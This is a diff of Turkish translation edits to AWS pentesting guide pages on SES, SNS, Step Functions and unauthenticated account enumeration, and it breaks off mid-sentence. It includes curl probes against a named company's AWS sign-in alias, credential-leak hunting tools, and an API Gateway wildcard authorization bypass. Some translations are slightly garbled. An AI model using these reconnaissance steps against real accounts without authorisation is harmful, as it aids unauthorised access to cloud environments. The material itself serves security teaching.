çözüm sunar. +Amazon Simple Email Service (Amazon SES), **e-posta göndermek ve almak** için tasarlanmıştır. Kullanıcıların, işlem, pazarlama veya bildirim e-postalarını verimli ve güvenli bir şekilde ölçeklenebilir olarak göndermesine olanak tanır. **Diğer AWS hizmetleriyle iyi entegre olur**, her boyuttaki işletmeler için e-posta iletişimini yönetmek için sağlam bir çözüm sunar. SES ile etkileşimde bulunabilecek **kimlikler** (örneğin, e-posta adresleri veya alan adları) kaydetmeniz gerekir. ### SMTP Kullanıcısı -AWS'nin **SMTP sunucusuna bağlanarak eylemler gerçekleştirmek** mümkündür; AWS API'sini kullanmak yerine (veya ek olarak). Bunun için, aşağıdaki gibi bir politika ile bir kullanıcı oluşturmanız gerekir: +AWS'nin **SMTP sunucusuna bağlanarak eylemler gerçekleştirmek** mümkündür; bunun yerine AWS API'sini kullanmak (veya ek olarak). Bunun için, aşağıdaki gibi bir politika ile bir kullanıcı oluşturmanız gerekir: ```json { "Version": "2012-10-17", @@ -32,7 +32,7 @@ chmod u+x ./ses-smtp-conv.sh ``` AWS konsol webinden de bunu yapmak mümkündür. -### Enumeration +### Sayım > [!WARNING] > SES'in 2 API'si olduğunu unutmayın: **`ses`** ve **`sesv2`**. Bazı eylemler her iki API'de de bulunmaktadır, diğerleri ise sadece birinde bulunmaktadır. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index 51a582b6d..bb9888d6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,12 +6,12 @@ Amazon Simple Notification Service (Amazon SNS), **tam yönetilen bir mesajlaşma hizmeti** olarak tanımlanır. Hem **uygulama-uygulama** (A2A) hem de **uygulama-kisi** (A2P) iletişim türlerini destekler. -A2A iletişimi için ana özellikler **yayın/abone (pub/sub) mekanizmaları** içerir. Bu mekanizmalar, yüksek verimli, **itme tabanlı, çoktan-çoğa mesajlaşmayı** sağlamak için kritik olan **konuları** tanıtır. Bu özellik, dağıtık sistemler, mikro hizmetler ve olay odaklı sunucusuz mimariler içeren senaryolar için son derece avantajlıdır. Bu konuları kullanarak, yayıncı sistemler mesajları **geniş bir abone sistemi yelpazesine** verimli bir şekilde dağıtabilir, böylece bir fanout mesajlaşma modeli oluşturur. +A2A iletişimi için ana özellikler **yayın/abone (pub/sub) mekanizmaları**dır. Bu mekanizmalar, yüksek verimlilikte, **itme tabanlı, çoktan-çoğa mesajlaşmayı** sağlamak için kritik olan **konuları** tanıtır. Bu özellik, dağıtık sistemler, mikro hizmetler ve olay odaklı sunucusuz mimariler içeren senaryolar için son derece avantajlıdır. Bu konuları kullanarak, yayıncı sistemler mesajları **geniş bir abone sistemi yelpazesine** verimli bir şekilde dağıtabilir, böylece bir fanout mesajlaşma modeli oluşturur. ### **SQS ile Fark** -**SQS**, nokta-nokta iletişimi sağlayan **kuyruk tabanlı** bir hizmettir ve mesajların **tek bir tüketici** tarafından işlenmesini garanti eder. **En az bir kez teslimat** sunar, standart ve FIFO kuyruklarını destekler ve mesajların yeniden denemeler ve gecikmeli işleme için saklanmasına izin verir.\ -Öte yandan, **SNS** **yayın/abone tabanlı bir hizmettir** ve mesajları **birden fazla aboneye** aynı anda yayınlayarak **birden-çoğa** iletişimi mümkün kılar. **E-posta, SMS, Lambda fonksiyonları ve HTTP/HTTPS** gibi çeşitli abonelik uç noktalarını destekler ve hedefli mesaj teslimatı için filtreleme mekanizmaları sağlar.\ +**SQS**, **kuvvet tabanlı** bir hizmettir ve nokta-nokta iletişimi sağlar, mesajların **tek bir tüketici** tarafından işlenmesini garanti eder. **En az bir kez teslimat** sunar, standart ve FIFO kuyruklarını destekler ve mesajların yeniden denemeler ve gecikmeli işleme için saklanmasına izin verir.\ +Öte yandan, **SNS** bir **yayın/abone tabanlı hizmettir**, mesajları **birden fazla aboneye** aynı anda yayınlayarak **birden-çoğa** iletişimi mümkün kılar. **E-posta, SMS, Lambda fonksiyonları ve HTTP/HTTPS** gibi çeşitli abonelik uç noktalarını destekler ve hedefli mesaj teslimatı için filtreleme mekanizmaları sunar.\ Her iki hizmet de dağıtık sistemlerde bileşenler arasında ayrıştırma sağlasa da, SQS kuyruklu iletişime odaklanırken, SNS olay odaklı, fan-out iletişim modellerine vurgu yapar. ### **Enumeration** @@ -42,11 +42,11 @@ aws sns subscribe --region \ --topic-arn ``` > [!CAUTION] -> **FIFO** türündeki **konu** için yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir (HTTP veya HTTPS kullanılamaz). +> **FIFO** türünde bir **konu** varsa, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir (HTTP veya HTTPS kullanılamaz). > -> Ayrıca, `--topic-arn` bölgeyi içerse bile, **`--region`** parametresinde doğru bölgeyi belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir. +> Ayrıca, `--topic-arn` bölgeyi içeriyorsa, **`--region`** parametresinde doğru bölgeyi belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir. -#### Kimlik Doğrulaması Olmayan Erişim +#### Kimlik Doğrulaması Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index bc8689a2b..cef089926 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -32,7 +32,7 @@ aws sqs send-message --queue-url --message-body ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### İstismar Sonrası +#### Sonrası İstismar {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index c36b98ac1..389545912 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,7 +4,7 @@ ## Step Functions -AWS Step Functions, birden fazla AWS hizmetini sunucusuz iş akışlarına koordine etmenizi ve düzenlemenizi sağlayan bir iş akışı hizmetidir. AWS Step Functions kullanarak, AWS Lambda, Amazon S3, Amazon DynamoDB ve daha birçok AWS hizmetini bir dizi adımda bağlayan iş akışları tasarlayıp çalıştırabilirsiniz. Bu orkestrasyon hizmeti, görsel bir iş akışı arayüzü sağlar ve her adımı JSON tabanlı **Amazon States Language** (ASL) kullanarak deklaratif bir şekilde tanımlamanıza olanak tanıyan **durum makinesi** yetenekleri sunar. +AWS Step Functions, birden fazla AWS hizmetini sunucusuz iş akışlarına koordine etmenizi ve düzenlemenizi sağlayan bir iş akışı hizmetidir. AWS Step Functions kullanarak, AWS Lambda, Amazon S3, Amazon DynamoDB ve daha fazlası gibi çeşitli AWS hizmetlerini bir dizi adımda bağlayan iş akışları tasarlayıp çalıştırabilirsiniz. Bu düzenleme hizmeti, görsel bir iş akışı arayüzü sağlar ve her adımı JSON tabanlı **Amazon States Language** (ASL) kullanarak deklaratif bir şekilde tanımlamanıza olanak tanıyan **durum makinesi** yetenekleri sunar. ## Ana kavramlar @@ -12,24 +12,24 @@ AWS Step Functions, birden fazla AWS hizmetini sunucusuz iş akışlarına koord AWS Step Functions, iki tür **durum makinesi iş akışı** sunar: Standart ve Express. -- **Standart İş Akışı**: Bu varsayılan iş akışı türü, uzun süreli, dayanıklı ve denetlenebilir süreçler için tasarlanmıştır. **Tam olarak bir kez yürütme** desteği sunar, bu da görevlerin yalnızca bir kez çalışmasını garanti eder, yeniden denemeler belirtilmedikçe. Detaylı yürütme geçmişine ihtiyaç duyan iş akışları için idealdir ve bir yıla kadar çalışabilir. -- **Express İş Akışı**: Bu tür, yüksek hacimli, kısa süreli görevler için idealdir ve beş dakikaya kadar çalışabilir. **En az bir kez yürütme** desteği sunar, bu da veri işleme gibi idempotent görevler için uygundur. Bu iş akışları, yürütmeler, süre ve bellek kullanımı temelinde ücretlendirilerek maliyet ve performans için optimize edilmiştir. +- **Standart İş Akışı**: Bu varsayılan iş akışı türü, uzun süreli, dayanıklı ve denetlenebilir süreçler için tasarlanmıştır. **tam olarak bir kez yürütme** desteği sunar, bu da görevlerin yalnızca bir kez çalışmasını garanti eder, aksi takdirde yeniden denemeler belirtilmelidir. Detaylı yürütme geçmişine ihtiyaç duyan iş akışları için idealdir ve bir yıla kadar çalışabilir. +- **Express İş Akışı**: Bu tür, yüksek hacimli, kısa süreli görevler için idealdir ve beş dakikaya kadar çalışabilir. **en az bir kez yürütme** desteği sunar, bu da veri işleme gibi idempotent görevler için uygundur. Bu iş akışları maliyet ve performans açısından optimize edilmiştir ve yürütmelere, süreye ve bellek kullanımına göre ücretlendirilir. ### Durumlar -Durumlar, durum makinelerinin temel birimleridir. Bir iş akışındaki bireysel adımları tanımlar ve türüne bağlı olarak çeşitli işlevler gerçekleştirebilir: +Durumlar, durum makinelerinin temel birimleridir. Bir iş akışındaki bireysel adımları tanımlar ve türüne bağlı olarak çeşitli işlevleri yerine getirebilir: - **Görev:** Genellikle Lambda gibi bir AWS hizmetini kullanarak bir işi yürütür. - **Seçim:** Girdi temelinde kararlar alır. -- **Başarısız/Başarılı:** Yürütmeyi bir başarısızlık veya başarı ile sonlandırır. +- **Başarısızlık/Başarı:** Yürütmeyi bir başarısızlık veya başarı ile sonlandırır. - **Geçiş:** Girdiyi çıktıya aktarır veya veri enjekte eder. -- **Bekle:** Belirli bir süre yürütmeyi geciktirir. +- **Bekleme:** Belirli bir süre yürütmeyi geciktirir. - **Paralel:** Paralel dalları başlatır. -- **Harita:** Öğeler üzerinde adımları dinamik olarak yinelemeye alır. +- **Harita:** Öğeler üzerinde dinamik olarak adımları yinelemeye alır. ### Görev -Bir **Görev** durumu, bir durum makinesi tarafından yürütülen tek bir iş birimini temsil eder. Görevler, aktiviteler, Lambda fonksiyonları, AWS hizmetleri veya üçüncü taraf API'ler gibi çeşitli kaynakları çağırabilir. +Bir **Görev** durumu, bir durum makinesi tarafından yürütülen tek bir iş birimini temsil eder. Görevler, aktiviteler, Lambda fonksiyonları, AWS hizmetleri veya üçüncü taraf API'leri gibi çeşitli kaynakları çağırabilir. - **Aktiviteler**: Uzun süreli süreçler için uygun, sizin yönettiğiniz özel işçiler. - Kaynak: **`arn:aws:states:region:account:activity:name`**. @@ -37,7 +37,7 @@ Bir **Görev** durumu, bir durum makinesi tarafından yürütülen tek bir iş b - Kaynak: **`arn:aws:lambda:region:account:function:function-name`**. - **AWS Hizmetleri**: DynamoDB veya S3 gibi diğer AWS hizmetleriyle doğrudan entegre olur. - Kaynak: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Görevi**: Üçüncü taraf API'leri çağırır. +- **HTTP Görevi**: Üçüncü taraf API'lerini çağırır. - Kaynak alanı: **`arn:aws:states:::http:invoke`**. Ardından, API URL'si, yöntem ve kimlik doğrulama detayları gibi API uç noktası yapılandırma bilgilerini sağlamalısınız. Aşağıdaki örnek, HelloWorld adında bir Lambda fonksiyonunu çağıran bir Görev durumu tanımını göstermektedir: @@ -52,12 +52,12 @@ Aşağıdaki örnek, HelloWorld adında bir Lambda fonksiyonunu çağıran bir G "End": true } ``` -### Choice +### Seçim Bir **Choice** durumu, bir iş akışına koşullu mantık ekler ve girdi verilerine dayalı kararlar almayı sağlar. Belirtilen koşulları değerlendirir ve sonuçlara göre ilgili duruma geçiş yapar. - **Karşılaştırma**: Her seçim kuralı, bir girdi değişkenini belirtilen bir değerle veya başka bir değişkenle karşılaştıran bir karşılaştırma operatörü (örneğin, **`NumericEquals`**, **`StringEquals`**) içerir. -- **Next Alanı**: Choice durumları **`End`** alanını desteklemez, bunun yerine karşılaştırma doğruysa geçiş yapılacak **`Next`** durumunu tanımlar. +- **Sonraki Alan**: Seçim durumları **`End`** alanını desteklemez, bunun yerine karşılaştırma doğruysa geçiş yapılacak **`Next`** durumunu tanımlar. **Choice** durumu örneği: ```json @@ -69,9 +69,9 @@ Bir **Choice** durumu, bir iş akışına koşullu mantık ekler ve girdi verile ``` ### Fail/Succeed -Bir **`Fail`** durumu, bir durum makinesinin yürütülmesini durdurur ve onu bir hata olarak işaretler. Hata adını ve nedenini belirtmek için kullanılır, hatayla ilgili ayrıntılar sağlar. Bu durum terminaldir, yani yürütme akışını sonlandırır. +Bir **`Fail`** durumu, bir durum makinesinin yürütülmesini durdurur ve bunu bir hata olarak işaretler. Hata adını ve nedenini belirtmek için kullanılır, hatayla ilgili ayrıntılar sağlar. Bu durum terminaldir, yani yürütme akışını sonlandırır. -Bir **`Succeed`** durumu, yürütmeyi başarıyla durdurur. Genellikle, iş akışı başarıyla tamamlandığında sonlandırmak için kullanılır. Bu durum bir **`Next`** alanı gerektirmez. +Bir **`Succeed`** durumu, yürütmeyi başarıyla durdurur. Genellikle, iş akışı başarıyla tamamlandığında sonlandırmak için kullanılır. Bu durum, bir **`Next`** alanı gerektirmez. {{#tabs }} {{#tab name="Fail example" }} @@ -104,9 +104,9 @@ Bir **Pass** durumu, herhangi bir iş yapmadan veya JSON durum girdisini filtrel "Next": "NextState" } ``` -### Wait +### Bekle -Bir **Wait** durumu, durum makinesinin yürütülmesini belirli bir süre boyunca geciktirir. Bekleme süresini yapılandırmak için üç ana yöntem vardır: +Bir **Wait** durumu, durum makinesinin yürütülmesini belirli bir süre geciktirir. Bekleme süresini yapılandırmak için üç ana yöntem vardır: - **X Saniye**: Beklemek için sabit bir saniye sayısı. @@ -139,13 +139,13 @@ jsonCopiar código } ``` -### Parallel +### Paralel Bir **Parallel** durumu, iş akışınız içinde birden fazla görev dalını eşzamanlı olarak yürütmenizi sağlar. Her dal bağımsız olarak çalışır ve kendi durum dizisini işler. Yürütme, tüm dallar tamamlanana kadar bekler ve ardından bir sonraki duruma geçer. Ana alanları şunlardır: -- **Branches**: Paralel yürütme yollarını tanımlayan bir dizi. Her dal ayrı bir durum makinesidir. -- **ResultPath**: Dalların birleştirilmiş çıktısını nereye (girdide) yerleştireceğini tanımlar. -- **Retry and Catch**: Paralel durum için hata işleme yapılandırmaları. +- **Dallar**: Paralel yürütme yollarını tanımlayan bir dizi. Her dal ayrı bir durum makinesidir. +- **ResultPath**: Dalların birleşik çıktısını nereye (girdide) yerleştireceğini tanımlar. +- **Retry ve Catch**: Paralel durum için hata işleme yapılandırmaları. ```json "ParallelState": { "Type": "Parallel", @@ -164,9 +164,9 @@ Bir **Parallel** durumu, iş akışınız içinde birden fazla görev dalını e ``` ### Harita -Bir **Map** durumu, bir veri kümesindeki her bir öğe için bir dizi adımın yürütülmesini sağlar. Verilerin paralel işlenmesi için kullanılır. Veri kümesindeki öğeleri nasıl işlemek istediğinize bağlı olarak, Step Functions aşağıdaki modları sunar: +Bir **Map** durumu, bir veri kümesindeki her öğe için bir dizi adımın yürütülmesini sağlar. Verilerin paralel işlenmesi için kullanılır. Veri kümesindeki öğeleri nasıl işlemek istediğinize bağlı olarak, Step Functions aşağıdaki modları sunar: -- **Inline Modu**: Her JSON dizi öğesi için bir alt küme durumu yürütür. 40'tan az paralel yineleme ile küçük ölçekli görevler için uygundur ve bunların her birini **`Map`** durumunu içeren iş akışının bağlamında çalıştırır. +- **Inline Modu**: Her JSON dizi öğesi için bir alt küme durumunu yürütür. 40'tan az paralel yineleme ile küçük ölçekli görevler için uygundur ve bunların her birini **`Map`** durumunu içeren iş akışının bağlamında çalıştırır. ```json "MapState": { @@ -234,18 +234,18 @@ Bir **Map** durumu, bir veri kümesindeki her bir öğe için bir dizi adımın ### Sürümler ve takma adlar -Step Functions, iş akışı dağıtımlarını **sürümler** ve **takma adlar** aracılığıyla yönetmenizi sağlar. Bir sürüm, yürütülebilen bir durum makinesinin anlık görüntüsünü temsil eder. Takma adlar, bir durum makinesinin en fazla iki sürümüne işaret eder. +Step Functions, iş akışı dağıtımlarını **sürümler** ve **takma adlar** aracılığıyla yönetmenizi sağlar. Bir sürüm, yürütülebilen bir durum makinesinin anlık görüntüsünü temsil eder. Takma adlar, bir durum makinesinin iki sürümüne kadar işaretçi görevi görür. -- **Sürümler**: Bu değiştirilemez anlık görüntüler, o durum makinesinin en son revizyonundan oluşturulur. Her sürüm, durum makinesi ARN'sini sürüm numarası ile birleştiren benzersiz bir ARN ile tanımlanır ve iki nokta ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Sürümler düzenlenemez, ancak durum makinesini güncelleyebilir ve yeni bir sürüm yayınlayabilir veya istenen durum makinesi sürümünü kullanabilirsiniz. -- **Takma Adlar**: Bu işaretçiler, aynı durum makinesinin en fazla iki sürümüne referans verebilir. Tek bir durum makinesi için birden fazla takma ad oluşturulabilir ve her biri, durum makinesi ARN'sini takma ad adı ile birleştirerek oluşturulan benzersiz bir ARN ile tanımlanır, iki nokta ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Takma adlar, bir durum makinesinin iki sürümünden birine trafik yönlendirmeyi sağlar. Alternatif olarak, bir takma ad, durum makinesinin tek bir belirli sürümüne işaret edebilir, ancak diğer takma adlara işaret edemez. Gerekirse, durum makinesinin farklı bir sürümüne yönlendirmek için güncellenebilir, bu da kontrollü dağıtımları ve iş akışı yönetimini kolaylaştırır. +- **Sürümler**: Bu değiştirilemez durum makinesi anlık görüntüleri, o durum makinesinin en son revizyonundan oluşturulur. Her sürüm, durum makinesi ARN'si ile sürüm numarasını birleştiren benzersiz bir ARN ile tanımlanır ve iki nokta (**) ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Sürümler düzenlenemez, ancak durum makinesini güncelleyebilir ve yeni bir sürüm yayınlayabilir veya istenen durum makinesi sürümünü kullanabilirsiniz. +- **Takma Adlar**: Bu işaretçiler, aynı durum makinesinin iki sürümüne kadar referans verebilir. Tek bir durum makinesi için birden fazla takma ad oluşturulabilir ve her biri, durum makinesi ARN'si ile takma ad adını birleştirerek oluşturulan benzersiz bir ARN ile tanımlanır, iki nokta ile ayrılır (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Takma adlar, bir durum makinesinin iki sürümünden birine trafik yönlendirmeyi sağlar. Alternatif olarak, bir takma ad, durum makinesinin tek bir belirli sürümüne işaret edebilir, ancak diğer takma adlara işaret edemez. Gerekirse, durum makinesinin farklı bir sürümüne yönlendirmek için güncellenebilir, bu da kontrollü dağıtımları ve iş akışı yönetimini kolaylaştırır. -Daha ayrıntılı bilgi için **ASL** hakkında, kontrol edin: [**Amazon States Language**](https://states-language.net/spec.html). +**ASL** hakkında daha ayrıntılı bilgi için kontrol edin: [**Amazon States Language**](https://states-language.net/spec.html). -## Durum Makineleri için IAM Rolleri +## Durum makineleri için IAM Rolleri AWS Step Functions, durum makineleri içindeki kaynaklara ve eylemlere erişimi kontrol etmek için AWS Kimlik ve Erişim Yönetimi (IAM) rollerini kullanır. AWS Step Functions'daki güvenlik ve IAM rolleri ile ilgili ana noktalar şunlardır: -- **Yürütme Rolü**: AWS Step Functions'daki her durum makinesi, bir IAM yürütme rolü ile ilişkilidir. Bu rol, durum makinesinin sizin adınıza hangi eylemleri gerçekleştirebileceğini tanımlar. Bir durum makinesi, AWS hizmetleri ile etkileşime giren durumlar arasında geçiş yaptığında (örneğin, Lambda işlevlerini çağırma, DynamoDB'ye erişme vb.), bu eylemleri gerçekleştirmek için bu yürütme rolünü üstlenir. +- **Yürütme Rolü**: AWS Step Functions'daki her durum makinesi bir IAM yürütme rolü ile ilişkilidir. Bu rol, durum makinesinin sizin adınıza hangi eylemleri gerçekleştirebileceğini tanımlar. Bir durum makinesi, AWS hizmetleriyle etkileşime giren durumlar arasında geçiş yaptığında (örneğin, Lambda işlevlerini çağırma, DynamoDB'ye erişme vb.), bu eylemleri gerçekleştirmek için bu yürütme rolünü üstlenir. - **İzinler**: IAM yürütme rolü, diğer AWS hizmetlerinde gerekli eylemleri gerçekleştirmeye izin veren izinlerle yapılandırılmalıdır. Örneğin, durum makineniz AWS Lambda işlevlerini çağırması gerekiyorsa, IAM rolünün **`lambda:InvokeFunction`** izinlerine sahip olması gerekir. Benzer şekilde, DynamoDB'ye yazması gerekiyorsa, uygun izinler (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** vb.) verilmelidir. ## Sayım @@ -299,7 +299,7 @@ aws stepfunctions list-executions --map-run-arn [--status-filter ``` ### Privesc -Aşağıdaki sayfada, **eventbridge scheduler izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: +Aşağıdaki sayfada, **eventbridge scheduler izinlerini kötüye kullanarak yetki yükseltme** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index c9d8f42af..a81508069 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS Kimlik Bilgileri Sızıntıları -AWS hesabına erişim veya bilgi elde etmenin yaygın bir yolu **sızıntıları aramaktır**. **Google dorks** kullanarak, **kuruluşun** ve kuruluşun **çalışanlarının** **Github** veya diğer platformlardaki **açık reposunu** kontrol ederek, **kimlik bilgileri sızıntı veritabanlarında** arama yaparak... veya şirket ve bulut altyapısı hakkında herhangi bir bilgi bulabileceğinizi düşündüğünüz başka herhangi bir yerde arama yapabilirsiniz.\ +Bir AWS hesabına erişim veya bilgi elde etmenin yaygın bir yolu **sızıntıları aramaktır**. **Google dorks** kullanarak, **kuruluşun** ve **çalışanların** **Github** veya diğer platformlardaki **kamusal repolarını** kontrol ederek, **kimlik bilgileri sızıntı veritabanlarında** arama yaparak... veya şirket ve bulut altyapısı hakkında herhangi bir bilgi bulabileceğinizi düşündüğünüz başka herhangi bir yerde arama yaparak sızıntıları arayabilirsiniz.\ Bazı yararlı **araçlar**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -13,7 +13,7 @@ Bazı yararlı **araçlar**: ## AWS Kimlik Doğrulaması Olmadan Enum & Erişim -AWS'de, tüm İnternet'e veya beklenenden daha fazla kişiye erişim verecek şekilde yapılandırılabilecek birkaç hizmet vardır. Buradan nasıl yapılacağını kontrol edin: +AWS'de, tüm İnternet'e veya beklenenden daha fazla kişiye erişim verecek şekilde yapılandırılabilecek birkaç hizmet vardır. İşte nasıl kontrol edileceği: - [**Hesaplar Kimlik Doğrulaması Olmadan Enum**](aws-accounts-unauthenticated-enum.md) - [**Cloud9 Kimlik Doğrulaması Olmadan Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,19 +36,19 @@ AWS'de, tüm İnternet'e veya beklenenden daha fazla kişiye erişim verecek şe ## Hesaplar Arası Saldırılar -[**İzolasyonu Kırmak: Hesaplar Arası AWS Açıkları**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) konuşmasında, bazı hizmetlerin herhangi bir AWS hesabının onlara erişmesine nasıl izin verdiği sunulmaktadır çünkü **AWS hizmetleri hesap ID'si belirtilmeden** izin verilmiştir. +[**İzolasyonu Kırmak: Hesaplar Arası AWS Açıkları**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) konuşmasında bazı hizmetlerin herhangi bir AWS hesabının onlara erişmesine nasıl izin verdiği sunulmaktadır çünkü **AWS hizmetleri hesap ID'si belirtilmeden** izin verilmiştir. -Konuşma sırasında, S3 bucket'larının **herhangi bir AWS** hesabının **yazmasına izin verdiği** gibi birkaç örnek belirtilmiştir: +Konuşma sırasında, S3 bucket'larının **herhangi bir AWS** hesabının **yazmasına** izin verdiği gibi birkaç örnek belirtilmiştir: ![](<../../../images/image (260).png>) Diğer savunmasız bulunan hizmetler: - AWS Config -- Sunucusuz depo +- Serverless repository ## Araçlar -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Çoklu bulut OSINT aracı. **Açık kaynakları bulun** AWS, Azure ve Google Cloud'da. Desteklenen AWS hizmetleri: Açık / Korunan S3 Bucket'ları, awsapps (WorkMail, WorkDocs, Connect, vb.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Çoklu bulut OSINT aracı. **AWS, Azure ve Google Cloud'da kamusal kaynakları bulun.** Desteklenen AWS hizmetleri: Açık / Korunan S3 Bucket'ları, awsapps (WorkMail, WorkDocs, Connect, vb.) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 8b5e07a30..41b1599af 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Hesaplar Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} ## Hesap Kimlikleri -Eğer bir hedefiniz varsa, hedefle ilgili hesap kimliklerini tanımlamanın yolları vardır. +Eğer bir hedefiniz varsa, hedefle ilgili hesapların hesap kimliklerini tanımlamaya çalışmanın yolları vardır. ### Kaba Kuvvet @@ -16,7 +16,7 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [bu aracı kullanarak bu süreci otomatikleştirebilirsiniz](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Bu süreci [bu araçla otomatikleştirebilirsiniz](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT @@ -24,7 +24,7 @@ You can [bu aracı kullanarak bu süreci otomatikleştirebilirsiniz](https://git ### Marketplace -Bir satıcının **pazar yerinde instance'ları varsa,** kullandığı AWS hesabının sahiplik kimliğini (hesap kimliği) alabilirsiniz. +Bir satıcının **marketplace'de instance'ları varsa,** kullandığı AWS hesabının sahip kimliğini (hesap kimliği) alabilirsiniz. ### Snapshots @@ -34,7 +34,7 @@ Bir satıcının **pazar yerinde instance'ları varsa,** kullandığı AWS hesab ### Errors -Birçok AWS hata mesajı (erişim reddedildi bile) bu bilgiyi verecektir. +Birçok AWS hata mesajı (erişim reddedildi bile olsa) bu bilgiyi verecektir. ## References diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 44dcedc0c..95983705d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### API Çağrısı atlatma -[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) konuşmasına göre, Lambda Authorizers, API uç noktalarını çağırmak için izin vermek amacıyla **IAM sözdizimi** kullanılarak yapılandırılabilir. Bu, [**belgelerden alınmıştır**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) konuşmasına göre, Lambda Authorizers, API uç noktalarını çağırmak için izin vermek üzere **IAM sözdizimi** kullanılarak yapılandırılabilir. Bu, [**belgelerden alınmıştır**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -19,16 +19,16 @@ ] } ``` -Bu yöntemle uç noktaları çağırmak için izin vermenin sorunu, **"\*"nın "herhangi bir şey" anlamına gelmesidir** ve **artık regex sözdizimi desteklenmemektedir**. +Bu yöntemle uç noktaları çağırmak için izin vermenin sorunu, **"\*"nın "her şey" anlamına gelmesidir** ve **daha fazla regex sözdizimi desteklenmemektedir**. Bazı örnekler: - Her kullanıcıya `/dashboard/user/{username}` erişimi vermek için `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` gibi bir kural, onlara örneğin `/admin/dashboard/createAdmin` gibi diğer rotalara erişim verecektir. > [!WARNING] -> **"\*" kesme işaretleriyle genişlemeyi durdurmaz**, bu nedenle, örneğin api-id'de "\*" kullanırsanız, bu "herhangi bir aşama" veya "herhangi bir yöntem" anlamına da gelebilir, son regex geçerli olduğu sürece.\ -> Yani `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Örneğin `/prod/GET/dashboard/admin` yoluna test aşaması için bir post isteğini doğrulayabilir. +> **"\*" kesmelerle genişlemeyi durdurmaz**, bu nedenle, örneğin api-id'de "\*" kullanırsanız, bu "herhangi bir aşama" veya "herhangi bir yöntem" anlamına da gelebilir, son regex geçerli olduğu sürece.\ +> Bu nedenle `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Örneğin 